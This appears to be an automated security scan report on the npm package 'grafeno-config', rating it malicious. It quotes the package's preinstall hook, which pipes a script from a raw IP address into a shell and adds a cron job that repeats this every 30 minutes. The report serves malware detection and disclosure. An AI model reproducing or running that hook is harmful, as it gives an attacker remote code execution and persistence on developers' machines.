The payload is fetched from a raw IP address and executed without inspection. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 99.0% - **Started:** 2026-08-28T22:56:36.334Z - **Finished:** 2026-08-28T22:57:01.317Z - **Download time:** 506 ms - **Static scan time:** 12 ms - **AI review time:** 24464 ms - **Total time:** 24983 ms ## Security analysis ### Published attack-surface review - **Summary:** Installing the package runs a remote shell payload and creates cron-based persistence. The payload is fetched from a raw IP address and executed without inspection. - **Trigger:** npm preinstall during package installation - **Impact:** Allows remote code execution and repeated execution on the installing machine. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-28T22:57:01.317Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** remote shell execution with cron persistence - **Attack narrative:** During npm installation, the preinstall hook invokes curl against a raw IP address and pipes the response into Bash. It then modifies the current user's crontab to repeat that download-and-execute command every 30 minutes, while swallowing errors. This establishes unattended remote code execution and persistence. - **Rationale:** The manifest contains a concrete automatic install-time remote payload execution and cron persistence chain. The minimal runtime module does not justify this behavior. - **Files touched:** package.json - **Network endpoints:** 216.126.236.46/x.sh ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The preinstall hook downloads a shell script from a raw IP address and pipes it directly to Bash., The same hook installs a cron entry that re-downloads and executes the remote script every 30 minutes., Both actions run automatically during npm installation and suppress errors. - **Evidence against:** index.js only exposes a simple environment-variable getter., No benign functionality explains the install-time remote execution or cron persistence. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \"*/3... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \"*/3... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 5. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 6. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The preinstall hook downloads a shell script from a raw IP address and pipes it directly to Bash. Public source snippet (untrusted): ```json "preinstall": "node -e \"const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \\\"*/30 * * * * curl -s 216.126.236.46/x.sh|sh\\\")|crontab -',{shell:'/bin/bash'})}catch(c){}\"" ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** preinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** grafeno-config - **Ecosystem:** npm - **Version:** 1.0.0 - **Version published:** 2026-08-28T22:48:26.179Z - **Package first seen:** 2026-08-28T22:57:01.317Z - **Package last seen:** 2026-08-28T22:57:01.317Z - **Known versions:** 1 - **Latest version:** 1.0.0 - **Appeal under review:** No - **Description:** Configuration manager for Grafeno - **Author:** devx@grafeno.digital - **Artifact files:** 2 - **Artifact unpacked size:** 528 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]()
